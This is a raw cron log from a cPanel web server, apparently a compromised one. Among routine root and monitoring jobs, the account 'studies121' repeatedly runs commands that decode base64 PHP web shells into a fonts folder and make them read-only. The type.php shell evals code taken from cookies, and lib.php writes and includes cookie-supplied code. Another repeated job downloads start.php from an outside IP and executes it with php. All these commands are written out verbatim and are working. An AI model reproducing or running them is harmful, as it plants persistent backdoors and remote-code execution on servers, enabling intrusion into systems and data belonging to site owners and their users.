Aug 30 19:21:02 ip-184-168-122-23 CROND[30552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:21:02 ip-184-168-122-23 CROND[30554]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:21:02 ip-184-168-122-23 CROND[30551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:21:02 ip-184-168-122-23 CROND[30553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:22:01 ip-184-168-122-23 CROND[30635]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 19:22:01 ip-184-168-122-23 CROND[30636]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:22:01 ip-184-168-122-23 CROND[30637]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:22:01 ip-184-168-122-23 CROND[30638]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:22:01 ip-184-168-122-23 CROND[30640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:23:01 ip-184-168-122-23 CROND[30804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:23:01 ip-184-168-122-23 CROND[30805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:23:01 ip-184-168-122-23 CROND[30808]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:23:01 ip-184-168-122-23 CROND[30809]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:24:01 ip-184-168-122-23 CROND[30888]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:24:01 ip-184-168-122-23 CROND[30890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:24:01 ip-184-168-122-23 CROND[30893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:24:01 ip-184-168-122-23 CROND[30891]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 19:24:01 ip-184-168-122-23 CROND[30892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:25:01 ip-184-168-122-23 CROND[30974]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:25:01 ip-184-168-122-23 CROND[30977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:25:01 ip-184-168-122-23 CROND[30980]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 19:25:01 ip-184-168-122-23 CROND[30978]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 19:25:01 ip-184-168-122-23 CROND[30979]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:25:01 ip-184-168-122-23 CROND[30982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:26:01 ip-184-168-122-23 CROND[31061]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:26:01 ip-184-168-122-23 CROND[31063]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 19:26:01 ip-184-168-122-23 CROND[31064]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:26:01 ip-184-168-122-23 CROND[31066]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:26:01 ip-184-168-122-23 CROND[31068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:27:01 ip-184-168-122-23 CROND[31159]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:27:01 ip-184-168-122-23 CROND[31163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:27:01 ip-184-168-122-23 CROND[31161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:27:01 ip-184-168-122-23 CROND[31162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:28:01 ip-184-168-122-23 CROND[31324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:28:01 ip-184-168-122-23 CROND[31326]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:28:01 ip-184-168-122-23 CROND[31327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:28:01 ip-184-168-122-23 CROND[31329]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:28:01 ip-184-168-122-23 CROND[31328]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 19:29:01 ip-184-168-122-23 CROND[31419]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:29:01 ip-184-168-122-23 CROND[31421]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:29:01 ip-184-168-122-23 CROND[31422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:29:01 ip-184-168-122-23 CROND[31423]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:30:01 ip-184-168-122-23 CROND[31501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:30:01 ip-184-168-122-23 CROND[31500]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 19:30:01 ip-184-168-122-23 CROND[31502]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 19:30:01 ip-184-168-122-23 CROND[31507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:30:01 ip-184-168-122-23 CROND[31505]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 19:30:01 ip-184-168-122-23 CROND[31506]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:30:01 ip-184-168-122-23 CROND[31508]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 19:30:01 ip-184-168-122-23 CROND[31510]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:31:01 ip-184-168-122-23 CROND[31596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:31:01 ip-184-168-122-23 CROND[31598]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:31:01 ip-184-168-122-23 CROND[31603]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:31:01 ip-184-168-122-23 CROND[31604]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:31:01 ip-184-168-122-23 CROND[31605]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 19:32:01 ip-184-168-122-23 CROND[31684]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:32:01 ip-184-168-122-23 CROND[31686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:32:01 ip-184-168-122-23 CROND[31688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:32:01 ip-184-168-122-23 CROND[31689]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 19:32:01 ip-184-168-122-23 CROND[31687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:33:01 ip-184-168-122-23 CROND[31774]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
